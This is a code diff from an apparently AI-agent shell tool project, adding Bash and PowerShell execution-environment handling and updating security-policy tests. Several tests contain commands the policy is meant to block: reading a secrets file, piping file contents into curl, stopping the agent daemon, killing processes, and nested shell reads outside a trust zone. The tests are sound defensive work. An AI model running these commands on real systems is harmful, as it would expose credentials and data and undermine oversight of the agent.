@@ -218,7 +283,7 @@ public async Task Cwd_explicit_arg_overrides_project_and_session_directories()
var context = TestToolExecutionContext.CreateBound("session-1", sessionDir, new TestToolExecutionContextOptions
{ Audience = TrustAudience.Personal, ProjectDirectory = projectDir });
var args = ToolInput.Create(
- "Command", OperatingSystem.IsWindows() ? "cd" : "pwd",
+ "Command", PrintWorkingDirectoryCommand,
"WorkingDirectory", explicitDir);
var result = await _tool.ExecuteAsync(args, context, CancellationToken.None);
@@ -247,7 +312,7 @@ public async Task Cwd_does_not_inherit_daemon_process_directory()
// Environment.CurrentDirectory happens to be — proving the
// ProcessStartInfo default-fall-through is gone.
var context = TestToolExecutionContext.CreateBound("session-1", sessionDir, TrustAudience.Personal);
- var args = ToolInput.Create("Command", OperatingSystem.IsWindows() ? "cd" : "pwd");
+ var args = ToolInput.Create("Command", PrintWorkingDirectoryCommand);
var result = await _tool.ExecuteAsync(args, context, CancellationToken.None);
@@ -282,7 +347,7 @@ public async Task Missing_explicit_working_directory_returns_helpful_error()
Assert.Contains("does not exist", result);
Assert.Contains(missingDir, result);
- Assert.Contains("mkdir", result);
+ Assert.Contains(OperatingSystem.IsWindows() ? "New-Item" : "mkdir", result);
// The process must never start with a missing cwd...
Assert.DoesNotContain("Exit code", result);
// ...and the tool must not silently create the directory either.
@@ -365,7 +430,7 @@ public async Task Command_referencing_denied_path_returns_access_denied()
{
var secretsPath = "/home/user/.netclaw/config/secrets.json";
var policy = new ToolPathPolicy([secretsPath]);
- var tool = new ShellTool(new ToolConfig(), policy, new ShellCommandPolicy());
+ var tool = new ShellTool(new ToolConfig(), policy, new ShellCommandPolicy(ShellExecutionEnvironment.Current));
var args = ToolInput.Create("Command", $"cat {secretsPath}");
@@ -381,7 +446,7 @@ public async Task High_risk_glob_on_netclaw_config_is_blocked()
{
var secretsPath = "/home/user/.netclaw/config/secrets.json";
var policy = new ToolPathPolicy([secretsPath]);
- var tool = new ShellTool(new ToolConfig(), policy, new ShellCommandPolicy());
+ var tool = new ShellTool(new ToolConfig(), policy, new ShellCommandPolicy(ShellExecutionEnvironment.Current));
var args = ToolInput.Create("Command", "cat ~/.netclaw/config/*.json");
@@ -394,7 +459,7 @@ public async Task High_risk_glob_on_netclaw_config_is_blocked()
[Fact]
public async Task Hard_deny_blocks_daemon_stop()
{
- var commandPolicy = new ShellCommandPolicy();
+ var commandPolicy = new ShellCommandPolicy(ShellExecutionEnvironment.Current);
var tool = new ShellTool(new ToolConfig(), new ToolPathPolicy([]), commandPolicy);
var args = ToolInput.Create("Command", "netclaw daemon stop");
@@ -406,7 +471,7 @@ public async Task Hard_deny_blocks_daemon_stop()
[Fact]
public async Task Hard_deny_blocks_kill_command()
{
- var commandPolicy = new ShellCommandPolicy();
+ var commandPolicy = new ShellCommandPolicy(ShellExecutionEnvironment.Current);
var tool = new ShellTool(new ToolConfig(), new ToolPathPolicy([]), commandPolicy);
var args = ToolInput.Create("Command", "kill -9 12345");
@@ -418,7 +483,7 @@ public async Task Hard_deny_blocks_kill_command()
[Fact]
public async Task Hard_deny_checked_before_path_policy()
{
- var commandPolicy = new ShellCommandPolicy();
+ var commandPolicy = new ShellCommandPolicy(ShellExecutionEnvironment.Current);
var pathPolicy = new ToolPathPolicy(["/some/path"]);
var tool = new ShellTool(new ToolConfig(), pathPolicy, commandPolicy);
@@ -433,7 +498,7 @@ public async Task Hard_deny_checked_before_path_policy()
[Fact]
public async Task Path_policy_still_blocks_sensitive_paths_when_command_is_not_hard_denied()
{
- var commandPolicy = new ShellCommandPolicy();
+ var commandPolicy = new ShellCommandPolicy(ShellExecutionEnvironment.Current);
var pathPolicy = new ToolPathPolicy(["/home/user/.netclaw/config/secrets.json"]);
var tool = new ShellTool(new ToolConfig(), pathPolicy, commandPolicy);
@@ -446,3 +511,10 @@ public async Task Path_policy_still_blocks_sensitive_paths_when_command_is_not_h
Assert.Contains("Access denied", result);
}
}
+
+[AttributeUsage(AttributeTargets.Method)]
+internal sealed class SlopwatchSuppressAttribute(string ruleId, string reason) : Attribute
+{
+ public string RuleId { get; } = ruleId;
+ public string Reason { get; } = reason;
+}
diff --git a/src/Netclaw.Actors.Tests/Tools/SkillToolTests.cs b/src/Netclaw.Actors.Tests/Tools/SkillToolTests.cs
index a1ddd5909..56a8fb474 100644
--- a/src/Netclaw.Actors.Tests/Tools/SkillToolTests.cs
+++ b/src/Netclaw.Actors.Tests/Tools/SkillToolTests.cs
@@ -909,7 +909,7 @@ private static SubAgentSpawner CreateSubAgentSpawner()
TrustAudience.Personal,
ShellExecutionMode.HostAllowed,
UsedStrictFallback: false),
- new ShellCommandPolicy());
+ new ShellCommandPolicy(ShellExecutionEnvironment.Current));
return new SubAgentSpawner(
new NoOpChatClientProvider(),
@@ -919,6 +919,7 @@ private static SubAgentSpawner CreateSubAgentSpawner()
NullSystemPromptProvider.Instance,
new WorkingContextSnapshotProvider(
new GitWorkingContextInspector(TimeProvider.System),
+ new ExecutionEnvironmentInspector(ShellExecutionEnvironment.Current),
NullLogger.Instance),
NullLogger.Instance);
}
diff --git a/src/Netclaw.Actors.Tests/Tools/ToolApprovalGateTests.cs b/src/Netclaw.Actors.Tests/Tools/ToolApprovalGateTests.cs
index e49302f4d..0527d9ff5 100644
--- a/src/Netclaw.Actors.Tests/Tools/ToolApprovalGateTests.cs
+++ b/src/Netclaw.Actors.Tests/Tools/ToolApprovalGateTests.cs
@@ -16,6 +16,8 @@ namespace Netclaw.Actors.Tests.Tools;
public sealed class ToolApprovalGateTests
{
+ public static bool IsWindows => OperatingSystem.IsWindows();
+
private static ToolAccessPolicy CreatePolicy(ToolApprovalMode shellApprovalMode)
{
var config = new ToolConfig { ShellMode = ShellExecutionMode.HostAllowed };
@@ -33,7 +35,8 @@ private static ToolAccessPolicy CreatePolicy(ToolApprovalMode shellApprovalMode)
DeploymentPosture.Personal,
TrustAudience.Personal,
ShellExecutionMode.HostAllowed,
- UsedStrictFallback: false));
+ UsedStrictFallback: false),
+ new Netclaw.Security.ShellCommandPolicy(Netclaw.Security.ShellExecutionEnvironment.Current));
}
private static ToolExecutionContext PersonalContext(bool supportsApproval = true, string sessionId = "signalr/thread-1") =>
@@ -43,7 +46,7 @@ private static ToolExecutionContext PersonalContext(bool supportsApproval = true
private static INetclawTool ShellTool()
{
var config = new ToolConfig { ShellMode = ShellExecutionMode.HostAllowed };
- return new ShellTool(config, new ToolPathPolicy([]), new ShellCommandPolicy());
+ return new ShellTool(config, new ToolPathPolicy([]), new ShellCommandPolicy(ShellExecutionEnvironment.Current));
}
[Fact]
@@ -96,7 +99,8 @@ public void Missing_personal_approval_policy_fails_closed_for_shell()
DeploymentPosture.Personal,
TrustAudience.Personal,
ShellExecutionMode.HostAllowed,
- UsedStrictFallback: false));
+ UsedStrictFallback: false),
+ new Netclaw.Security.ShellCommandPolicy(Netclaw.Security.ShellExecutionEnvironment.Current));
var args = ToolInput.Create("Command", "git pull --ff-only");
@@ -155,7 +159,7 @@ public void Hard_denied_shell_command_is_blocked_before_approval()
TrustAudience.Personal,
ShellExecutionMode.HostAllowed,
UsedStrictFallback: false),
- new ShellCommandPolicy());
+ new ShellCommandPolicy(ShellExecutionEnvironment.Current));
var decision = policy.AuthorizeInvocation(
ShellTool(),
@@ -167,6 +171,75 @@ public void Hard_denied_shell_command_is_blocked_before_approval()
Assert.Equal("hard_deny_self_destructive", decision.DenyReason);
}
+ [Fact]
+ public void Hard_denied_pipeline_tail_is_blocked_before_approval()
+ {
+ var config = new ToolConfig { ShellMode = ShellExecutionMode.HostAllowed };
+ config.AudienceProfiles.Personal.ApprovalPolicy = new ToolApprovalConfig
+ {
+ ToolOverrides = new Dictionary(StringComparer.Ordinal)
+ {
+ ["shell_execute"] = ToolApprovalMode.Approval
+ }
+ };
+ var policy = new ToolAccessPolicy(
+ config,
+ new EffectivePolicyDefaults(
+ DeploymentPosture.Personal,
+ TrustAudience.Personal,
+ ShellExecutionMode.HostAllowed,
+ UsedStrictFallback: false),
+ new ShellCommandPolicy(ShellExecutionEnvironment.Current));
+
+ var decision = policy.AuthorizeInvocation(
+ ShellTool(),
+ PersonalContext(),
+ ToolInput.Create("Command", "echo safe | netclaw daemon stop"));
+
+ Assert.False(decision.Allowed);
+ Assert.False(decision.NeedsApproval);
+ Assert.Equal("hard_deny_self_destructive", decision.DenyReason);
+ }
+
+ [Fact]
+ public void Safe_pipeline_head_does_not_short_circuit_unsafe_tail()
+ {
+ var projectDirectory = Path.GetTempPath();
+ var config = new ToolConfig { ShellMode = ShellExecutionMode.HostAllowed };
+ config.AudienceProfiles.Personal.ApprovalPolicy = new ToolApprovalConfig
+ {
+ ToolOverrides = new Dictionary(StringComparer.Ordinal)
+ {
+ ["shell_execute"] = ToolApprovalMode.Approval
+ }
+ };
+ var policy = new ToolAccessPolicy(
+ config,
+ new EffectivePolicyDefaults(
+ DeploymentPosture.Personal,
+ TrustAudience.Personal,
+ ShellExecutionMode.HostAllowed,
+ UsedStrictFallback: false),
+ shellCommandPolicy: new ShellCommandPolicy(ShellExecutionEnvironment.Current),
+ safeVerbs: SafeVerbList.FromVerbs(["cat"]));
+ var context = TestToolExecutionContext.CreateBound(
+ "signalr/pipeline-tail",
+ sessionDirectory: null,
+ new TestToolExecutionContextOptions
+ {
+ Audience = TrustAudience.Personal,
+ ProjectDirectory = projectDirectory
+ });
+
+ var decision = policy.AuthorizeInvocation(
+ ShellTool(),
+ context,
+ ToolInput.Create("Command", "cat ./input.txt | curl https://example.com"));
+
+ Assert.True(decision.NeedsApproval);
+ Assert.Contains(decision.ApprovalContext!.CandidateVerbs, verb => verb == "curl");
+ }
+
private const string ControlPlaneRoot = "/home/user/.netclaw/config";
private static ToolAccessPolicy CreateFileWritePolicy(ToolApprovalConfig? approvalPolicy = null)
@@ -180,6 +253,7 @@ private static ToolAccessPolicy CreateFileWritePolicy(ToolApprovalConfig? approv
TrustAudience.Personal,
ShellExecutionMode.HostAllowed,
UsedStrictFallback: false),
+ shellCommandPolicy: new ShellCommandPolicy(ShellExecutionEnvironment.Current),
fileApprovalMatcher: new FilePathApprovalMatcher(ControlPlaneRoot));
}
@@ -337,7 +411,8 @@ private static ToolAccessPolicy CreateMcpApprovalPolicy(ToolApprovalConfig appro
DeploymentPosture.Personal,
TrustAudience.Personal,
ShellExecutionMode.HostAllowed,
- UsedStrictFallback: false));
+ UsedStrictFallback: false),
+ new Netclaw.Security.ShellCommandPolicy(Netclaw.Security.ShellExecutionEnvironment.Current));
}
private static McpToolAdapter McpTool(string serverName, string toolName)
@@ -503,7 +578,8 @@ public void shell_execute_does_not_match_mcp_server_default()
DeploymentPosture.Personal,
TrustAudience.Personal,
ShellExecutionMode.HostAllowed,
- UsedStrictFallback: false));
+ UsedStrictFallback: false),
+ new Netclaw.Security.ShellCommandPolicy(Netclaw.Security.ShellExecutionEnvironment.Current));
var args = ToolInput.Create("Command", "git pull --ff-only");
var decision = policy.AuthorizeInvocation(ShellTool(), PersonalContext(), args);
@@ -576,7 +652,8 @@ public void Non_interactive_tool_requires_approval_when_policy_requires_approval
DeploymentPosture.Personal,
TrustAudience.Personal,
ShellExecutionMode.HostAllowed,
- UsedStrictFallback: false));
+ UsedStrictFallback: false),
+ new Netclaw.Security.ShellCommandPolicy(Netclaw.Security.ShellExecutionEnvironment.Current));
var tool = new Netclaw.Actors.Tests.Memory.FakeNetclawTool("file_read", "content");
var subagentCtx = PersonalContext(supportsApproval: false);
@@ -603,7 +680,8 @@ public void Non_shell_tool_omits_directory_scoped_persistence_option()
DeploymentPosture.Personal,
TrustAudience.Personal,
ShellExecutionMode.HostAllowed,
- UsedStrictFallback: false));
+ UsedStrictFallback: false),
+ new Netclaw.Security.ShellCommandPolicy(Netclaw.Security.ShellExecutionEnvironment.Current));
var tool = new Netclaw.Actors.Tests.Memory.FakeNetclawTool("file_read", "content");
var decision = policy.AuthorizeInvocation(tool, PersonalContext());
@@ -632,7 +710,8 @@ public void Non_safe_list_tool_returns_requires_approval_when_interactive_unsupp
DeploymentPosture.Personal,
TrustAudience.Personal,
ShellExecutionMode.HostAllowed,
- UsedStrictFallback: false));
+ UsedStrictFallback: false),
+ new Netclaw.Security.ShellCommandPolicy(Netclaw.Security.ShellExecutionEnvironment.Current));
var tool = new Netclaw.Actors.Tests.Memory.FakeNetclawTool("store_memory", "ok");
var subagentCtx = PersonalContext(supportsApproval: false);
@@ -684,6 +763,30 @@ public void Non_interactive_shell_with_path_inside_trust_zone_proceeds_to_approv
Assert.True(decision.NeedsApproval);
}
+ [Fact]
+ public void PowerShell_pipeline_tail_outside_trust_zone_is_denied()
+ {
+ using var dir = new DisposableTempDir();
+ var trustRoot = CreateTrustZoneRoot(dir.Path);
+ var insidePath = Path.Combine(trustRoot, "project", "README.md");
+ var outsidePath = Path.Combine(dir.Path, "outside", "secrets.txt");
+ var environment = ShellExecutionEnvironment.PowerShell();
+ var policy = CreatePolicyWithTrustZone(
+ new FakeShellTrustZonePolicy([trustRoot]),
+ environment);
+
+ var decision = policy.AuthorizeInvocation(
+ ShellTool(),
+ PersonalContext(supportsApproval: false),
+ new Dictionary
+ {
+ ["command"] = $"gci '{insidePath}' | gci '{outsidePath}'"
+ });
+
+ Assert.False(decision.Allowed);
+ Assert.Equal("shell_path_outside_trust_zone", decision.DenyReason);
+ }
+
[Fact]
public void Non_interactive_shell_without_path_args_proceeds_to_approval()
{
@@ -720,8 +823,11 @@ public void Interactive_shell_skips_trust_zone_check()
Assert.True(decision.NeedsApproval);
}
- [Fact]
- public void Non_interactive_shell_with_nested_shell_path_outside_trust_zone_is_denied()
+ [Theory]
+ [InlineData("bash -c")]
+ [InlineData("bash -lc")]
+ [InlineData("timeout 5 bash -lc")]
+ public void Non_interactive_shell_with_nested_shell_path_outside_trust_zone_is_denied(string invocation)
{
using var dir = new DisposableTempDir();
var trustRoot = CreateTrustZoneRoot(dir.Path);
@@ -733,12 +839,34 @@ public void Non_interactive_shell_with_nested_shell_path_outside_trust_zone_is_d
var ctx = PersonalContext(supportsApproval: false);
var decision = policy.AuthorizeInvocation(tool, ctx,
- new Dictionary { ["command"] = $"bash -c \"cat {outsidePath}\"" });
+ new Dictionary { ["command"] = $"{invocation} \"cat {outsidePath}\"" });
Assert.False(decision.Allowed);
Assert.Equal("shell_path_outside_trust_zone", decision.DenyReason);
}
+ [Fact]
+ public void Non_interactive_PowerShell_dynamic_path_is_denied_as_unresolved()
+ {
+ using var dir = new DisposableTempDir();
+ var trustRoot = CreateTrustZoneRoot(dir.Path);
+ var environment = ShellExecutionEnvironment.PowerShell();
+ var policy = CreatePolicyWithTrustZone(
+ new FakeShellTrustZonePolicy([trustRoot]),
+ environment);
+
+ var decision = policy.AuthorizeInvocation(
+ ShellTool(),
+ PersonalContext(supportsApproval: false),
+ new Dictionary
+ {
+ ["command"] = @"Get-Content $env:TEMP\secret.txt"
+ });
+
+ Assert.False(decision.Allowed);
+ Assert.Equal("shell_command_has_unresolved_syntax", decision.DenyReason);
+ }
+
[Fact]
public void Non_interactive_shell_with_working_directory_outside_trust_zone_is_denied()
{
@@ -848,6 +976,7 @@ public void Non_interactive_pathless_shell_no_longer_false_denies()
TrustAudience.Personal,
ShellExecutionMode.HostAllowed,
UsedStrictFallback: false),
+ shellCommandPolicy: new ShellCommandPolicy(ShellExecutionEnvironment.Current),
shellTrustZonePolicy: trustZone);
var tool = ShellTool();
var ctx = PersonalContext(supportsApproval: false);
@@ -867,6 +996,11 @@ private static string CreateTrustZoneRoot(string tempDir)
}
private static ToolAccessPolicy CreatePolicyWithTrustZone(IShellTrustZonePolicy trustZone)
+ => CreatePolicyWithTrustZone(trustZone, ShellExecutionEnvironment.Current);
+
+ private static ToolAccessPolicy CreatePolicyWithTrustZone(
+ IShellTrustZonePolicy trustZone,
+ ShellExecutionEnvironment environment)
{
var config = new ToolConfig { ShellMode = ShellExecutionMode.HostAllowed };
config.AudienceProfiles.Personal.ApprovalPolicy = new ToolApprovalConfig
@@ -884,6 +1018,7 @@ private static ToolAccessPolicy CreatePolicyWithTrustZone(IShellTrustZonePolicy
TrustAudience.Personal,
ShellExecutionMode.HostAllowed,
UsedStrictFallback: false),
+ shellCommandPolicy: new ShellCommandPolicy(environment),
shellTrustZonePolicy: trustZone);
}
diff --git a/src/Netclaw.Actors.Tests/Tools/ToolArgumentValidatorTests.cs b/src/Netclaw.Actors.Tests/Tools/ToolArgumentValidatorTests.cs
index c972848b3..ef0e444ba 100644
--- a/src/Netclaw.Actors.Tests/Tools/ToolArgumentValidatorTests.cs
+++ b/src/Netclaw.Actors.Tests/Tools/ToolArgumentValidatorTests.cs
@@ -35,7 +35,7 @@ public ToolArgumentValidatorTests()
};
var registry = new ToolRegistry();
- registry.WithFirstPartyTools(config, new NetclawPaths(), new ToolPathPolicy([]), new ShellCommandPolicy());
+ registry.WithFirstPartyTools(config, new NetclawPaths(), new ToolPathPolicy([]), new ShellCommandPolicy(ShellExecutionEnvironment.Current));
_executor = new DispatchingToolExecutor(
registry,
new ToolAccessPolicy(
@@ -44,7 +44,8 @@ public ToolArgumentValidatorTests()
DeploymentPosture.Personal,
TrustAudience.Personal,
ShellExecutionMode.HostAllowed,
- UsedStrictFallback: false)));
+ UsedStrictFallback: false),
+ new Netclaw.Security.ShellCommandPolicy(Netclaw.Security.ShellExecutionEnvironment.Current)));
}
private static ToolExecutionContext PersonalContext(string sessionDir)
diff --git a/src/Netclaw.Actors.Tests/Tools/ToolRegistryTests.cs b/src/Netclaw.Actors.Tests/Tools/ToolRegistryTests.cs
index 2eda9863b..50012b6d0 100644
--- a/src/Netclaw.Actors.Tests/Tools/ToolRegistryTests.cs
+++ b/src/Netclaw.Actors.Tests/Tools/ToolRegistryTests.cs
@@ -6,6 +6,7 @@
using Microsoft.Extensions.AI;
using Netclaw.Actors.Tools;
using Netclaw.Configuration;
+using Netclaw.Security;
using Netclaw.Tools;
using Xunit;
@@ -212,6 +213,7 @@ public void GenerateCompressedIndex_for_public_hides_blocked_capabilities()
TrustAudience.Public,
ShellExecutionMode.Off,
UsedStrictFallback: true),
+ shellCommandPolicy: new ShellCommandPolicy(ShellExecutionEnvironment.Current),
featureGates: new FeatureGates(SubAgentsEnabled: false, SchedulingEnabled: false));
var index = registry.GenerateCompressedIndex(TrustAudience.Public, policy);
@@ -293,7 +295,7 @@ public void Canonical_and_LlmFacing_round_trip_for_first_party_tools_is_identity
// must not mangle them in either direction.
var config = new ToolConfig();
var registry = new ToolRegistry();
- registry.WithFirstPartyTools(config, new NetclawPaths(), new Netclaw.Security.ToolPathPolicy([]), new Netclaw.Security.ShellCommandPolicy());
+ registry.WithFirstPartyTools(config, new NetclawPaths(), new Netclaw.Security.ToolPathPolicy([]), new Netclaw.Security.ShellCommandPolicy(ShellExecutionEnvironment.Current));
Assert.Equal("shell_execute", registry.ToCanonicalName("shell_execute"));
Assert.Equal("shell_execute", registry.ToLlmFacingName("shell_execute"));
diff --git a/src/Netclaw.Actors/Jobs/BackgroundJobExecutionActor.cs b/src/Netclaw.Actors/Jobs/BackgroundJobExecutionActor.cs
index e23992be7..a1413a7be 100644
--- a/src/Netclaw.Actors/Jobs/BackgroundJobExecutionActor.cs
+++ b/src/Netclaw.Actors/Jobs/BackgroundJobExecutionActor.cs
@@ -3,6 +3,7 @@
// Copyright (C) 2026 - 2026 Petabridge, LLC
//
// -----------------------------------------------------------------------
+using System.ComponentModel;
using System.Diagnostics;
using Akka.Actor;
using Akka.Event;
@@ -20,6 +21,7 @@ public sealed class BackgroundJobExecutionActor : ReceiveActor
private readonly BackgroundJobDefinition _definition;
private readonly string _outputLogPath;
private readonly TimeProvider _timeProvider;
+ private readonly ShellExecutionEnvironment _environment;
private readonly ILoggingAdapter _log;
private Process? _process;
private ICancelable? _timeoutHandle;
@@ -27,11 +29,13 @@ public sealed class BackgroundJobExecutionActor : ReceiveActor
public BackgroundJobExecutionActor(
BackgroundJobDefinition definition,
string outputLogPath,
- TimeProvider timeProvider)
+ TimeProvider timeProvider,
+ ShellExecutionEnvironment environment)
{
_definition = definition;
_outputLogPath = outputLogPath;
_timeProvider = timeProvider;
+ _environment = environment;
_log = Context.GetLogger();
Receive(_ => HandleCancel());
@@ -77,10 +81,9 @@ protected override void PostStop()
private void SpawnProcess()
{
- var isWindows = OperatingSystem.IsWindows();
var psi = new ProcessStartInfo
{
- FileName = isWindows ? "cmd.exe" : "/bin/bash",
+ FileName = _environment.Executable,
RedirectStandardOutput = true,
RedirectStandardError = true,
RedirectStandardInput = true,
@@ -88,16 +91,9 @@ private void SpawnProcess()
CreateNoWindow = true
};
- if (isWindows)
- {
- psi.ArgumentList.Add("/c");
- psi.ArgumentList.Add(_definition.Command);
- }
- else
- {
- psi.ArgumentList.Add("-c");
- psi.ArgumentList.Add(_definition.Command);
- }
+ foreach (var argument in _environment.CommandArguments)
+ psi.ArgumentList.Add(argument);
+ psi.ArgumentList.Add(_definition.Command);
if (!string.IsNullOrWhiteSpace(_definition.WorkingDirectory))
{
@@ -114,8 +110,8 @@ private void SpawnProcess()
return;
}
- var mkdirHint = isWindows
- ? $"mkdir \"{_definition.WorkingDirectory}\""
+ var mkdirHint = _environment.Grammar == ShellGrammar.PowerShell
+ ? $"New-Item -ItemType Directory -Path '{_definition.WorkingDirectory}'"
: $"mkdir -p \"{_definition.WorkingDirectory}\"";
ReportCompletion(BackgroundJobStatus.Failed, -1,
$"Working directory '{_definition.WorkingDirectory}' does not exist. "
@@ -126,7 +122,17 @@ private void SpawnProcess()
psi.WorkingDirectory = _definition.WorkingDirectory;
}
- _process = Process.Start(psi);
+ try
+ {
+ _process = Process.Start(psi);
+ }
+ catch (Win32Exception ex) when (ex.NativeErrorCode == 2)
+ {
+ throw new InvalidOperationException(
+ $"Required {_environment.Grammar} shell '{_environment.Executable}' was not found. "
+ + "Install it and ensure it is available on PATH.",
+ ex);
+ }
if (_process is null)
{
ReportCompletion(BackgroundJobStatus.Failed, -1, "Process.Start returned null");
diff --git a/src/Netclaw.Actors/Jobs/BackgroundJobManagerActor.cs b/src/Netclaw.Actors/Jobs/BackgroundJobManagerActor.cs
index 29e4a8018..8201ee93d 100644
--- a/src/Netclaw.Actors/Jobs/BackgroundJobManagerActor.cs
+++ b/src/Netclaw.Actors/Jobs/BackgroundJobManagerActor.cs
@@ -39,6 +39,7 @@ public sealed class BackgroundJobManagerActor : ReceiveActor
private readonly BackgroundJobDefinitionStore _store;
private readonly TimeProvider _timeProvider;
+ private readonly ShellExecutionEnvironment _shellEnvironment;
private readonly IOperationalNotificationSink _notificationSink;
private readonly ILoggingAdapter _log;
@@ -49,10 +50,12 @@ public sealed class BackgroundJobManagerActor : ReceiveActor
public BackgroundJobManagerActor(
BackgroundJobDefinitionStore store,
TimeProvider timeProvider,
+ ShellExecutionEnvironment shellEnvironment,
IOperationalNotificationSink? notificationSink = null)
{
_store = store;
_timeProvider = timeProvider;
+ _shellEnvironment = shellEnvironment;
_notificationSink = notificationSink ?? NullNotificationSink.Instance;
_log = Context.GetLogger();
@@ -388,7 +391,7 @@ private void SpawnExecution(BackgroundJobDefinition definition)
var outputLogPath = _store.GetOutputLogPath(running.Id);
var props = DependencyResolver.For(Context.System)
- .Props(running, outputLogPath, _timeProvider);
+ .Props(running, outputLogPath, _timeProvider, _shellEnvironment);
Context.ActorOf(props, $"job-{running.Id}");
}
diff --git a/src/Netclaw.Actors/Sessions/WorkingContextSnapshot.cs b/src/Netclaw.Actors/Sessions/WorkingContextSnapshot.cs
index 98ce5f15a..9a561321b 100644
--- a/src/Netclaw.Actors/Sessions/WorkingContextSnapshot.cs
+++ b/src/Netclaw.Actors/Sessions/WorkingContextSnapshot.cs
@@ -8,6 +8,7 @@
using System.Text;
using Microsoft.Extensions.Logging;
using Netclaw.Configuration;
+using Netclaw.Security;
namespace Netclaw.Actors.Sessions;
@@ -48,8 +49,11 @@ public sealed record WorkingContextSnapshot
{
public required WorkingContext WorkingContext { get; init; }
public required GitWorkingContextInspection Git { get; init; }
+ public ExecutionEnvironmentSnapshot? ExecutionEnvironment { get; init; }
- public bool IsEmpty => WorkingContext.IsEmpty && Git is GitWorkingContextInspection.Skipped or GitWorkingContextInspection.NotRepository;
+ public bool IsEmpty => WorkingContext.IsEmpty
+ && ExecutionEnvironment is null
+ && Git is GitWorkingContextInspection.Skipped or GitWorkingContextInspection.NotRepository;
public string ToContextBlock()
{
@@ -67,6 +71,15 @@ public string ToContextBlock()
sb.Append("\n - ").Append(path);
}
+ if (ExecutionEnvironment is { } environment)
+ {
+ sb.Append("\nexecution_environment:")
+ .Append("\n platform: ").Append(environment.Platform)
+ .Append("\n shell: ").Append(environment.Executable)
+ .Append("\n preferred_grammar: ").Append(environment.Grammar)
+ .Append("\n path_style: ").Append(environment.PathStyle);
+ }
+
switch (Git)
{
case GitWorkingContextInspection.Available { Snapshot: var git }:
@@ -102,6 +115,28 @@ public string ToContextBlock()
}
}
+public sealed record ExecutionEnvironmentSnapshot(
+ string Platform,
+ string Executable,
+ string Grammar,
+ string PathStyle);
+
+public interface IExecutionEnvironmentInspector
+{
+ ExecutionEnvironmentSnapshot Inspect();
+}
+
+public sealed class ExecutionEnvironmentInspector(ShellExecutionEnvironment environment)
+ : IExecutionEnvironmentInspector
+{
+ public ExecutionEnvironmentSnapshot Inspect()
+ => new(
+ environment.Platform,
+ environment.Executable,
+ environment.Grammar.ToString().ToLowerInvariant(),
+ environment.PathStyle.ToString().ToLowerInvariant());
+}
+
public interface IGitWorkingContextInspector
{
Task InspectAsync(
@@ -155,6 +190,7 @@ Task CreateAsync(
public sealed class WorkingContextSnapshotProvider(
IGitWorkingContextInspector gitInspector,
+ IExecutionEnvironmentInspector executionEnvironmentInspector,
ILogger logger)
: IWorkingContextSnapshotProvider
{
@@ -165,18 +201,36 @@ public async Task CreateAsync(
{
ArgumentNullException.ThrowIfNull(context);
- if (audience == TrustAudience.Public || context.ProjectDirectory is null)
+ if (audience == TrustAudience.Public)
{
return new WorkingContextSnapshot
{
- WorkingContext = audience == TrustAudience.Public ? WorkingContext.Empty : context,
- Git = new GitWorkingContextInspection.Skipped()
+ WorkingContext = WorkingContext.Empty,
+ Git = new GitWorkingContextInspection.Skipped(),
+ ExecutionEnvironment = null
};
}
- var inspection = Directory.Exists(context.ProjectDirectory)
- ? await gitInspector.InspectAsync(context.ProjectDirectory, cancellationToken).ConfigureAwait(false)
- : new GitWorkingContextInspection.Unavailable("project directory does not exist");
+ GitWorkingContextInspection inspection;
+ try
+ {
+ inspection = context.ProjectDirectory switch
+ {
+ null => new GitWorkingContextInspection.Skipped(),
+ { } projectDirectory when Directory.Exists(projectDirectory) =>
+ await gitInspector.InspectAsync(projectDirectory, cancellationToken).ConfigureAwait(false),
+ _ => new GitWorkingContextInspection.Unavailable("project directory does not exist")
+ };
+ }
+ catch (OperationCanceledException) when (cancellationToken.IsCancellationRequested)
+ {
+ throw;
+ }
+ catch (Exception ex) when (!FatalExceptionPolicy.IsFatal(ex))
+ {
+ logger.LogWarning(ex, "Git working-context inspection failed unexpectedly");
+ inspection = new GitWorkingContextInspection.Unavailable("working context inspection failed");
+ }
switch (inspection)
{
@@ -191,6 +245,9 @@ public async Task CreateAsync(
return new WorkingContextSnapshot
{
WorkingContext = context,
+ ExecutionEnvironment = audience == TrustAudience.Personal
+ ? executionEnvironmentInspector.Inspect()
+ : null,
Git = inspection switch
{
GitWorkingContextInspection.Unavailable failure =>
diff --git a/src/Netclaw.Actors/SubAgents/SubAgentActor.cs b/src/Netclaw.Actors/SubAgents/SubAgentActor.cs
index 6b223f1b2..5bfd447d6 100644
--- a/src/Netclaw.Actors/SubAgents/SubAgentActor.cs
+++ b/src/Netclaw.Actors/SubAgents/SubAgentActor.cs
@@ -173,7 +173,7 @@ public SubAgentActor(
TrustAudience.Personal,
ShellExecutionMode.HostAllowed,
UsedStrictFallback: false),
- new ShellCommandPolicy());
+ new ShellCommandPolicy(ShellExecutionEnvironment.Current));
_approvalService = approvalService;
_maxToolIterations = maxToolIterations;
_log = Context.GetLogger();
diff --git a/src/Netclaw.Actors/Tools/DispatchingToolExecutor.cs b/src/Netclaw.Actors/Tools/DispatchingToolExecutor.cs
index 8a540a666..6b5a87f3f 100644
--- a/src/Netclaw.Actors/Tools/DispatchingToolExecutor.cs
+++ b/src/Netclaw.Actors/Tools/DispatchingToolExecutor.cs
@@ -36,7 +36,7 @@ public DispatchingToolExecutor(ToolRegistry registry, ILogger
-/// Executes shell commands via /bin/bash (Linux) or cmd.exe (Windows).
+/// Executes shell commands through the canonical Bash or PowerShell environment.
/// Captures stdout+stderr, enforces timeout, closes stdin immediately.
///
[NetclawTool(ToolName,
@@ -38,16 +38,21 @@ public sealed partial class ShellTool : NetclawTool
private readonly ToolConfig _config;
private readonly ToolPathPolicy _pathPolicy;
private readonly ShellCommandPolicy _commandPolicy;
+ private readonly ShellExecutionEnvironment _environment;
public record Params(
[property: Description("The shell command to execute")] string Command,
[property: Description("Working directory to run the command in (optional)")] string? WorkingDirectory = null);
- public ShellTool(ToolConfig config, ToolPathPolicy pathPolicy, ShellCommandPolicy commandPolicy)
+ public ShellTool(
+ ToolConfig config,
+ ToolPathPolicy pathPolicy,
+ ShellCommandPolicy commandPolicy)
{
_config = config;
_pathPolicy = pathPolicy;
_commandPolicy = commandPolicy;
+ _environment = commandPolicy.ExecutionEnvironment;
}
protected override async Task ExecuteAsync(Params args, ToolInvocationContext context, CancellationToken ct)
@@ -62,10 +67,9 @@ protected override async Task ExecuteAsync(Params args, ToolInvocationCo
if (_pathPolicy.CommandReferencesDeniedPath(args.Command, args.WorkingDirectory))
return "Error: Command references a protected file path. Access denied by security policy.";
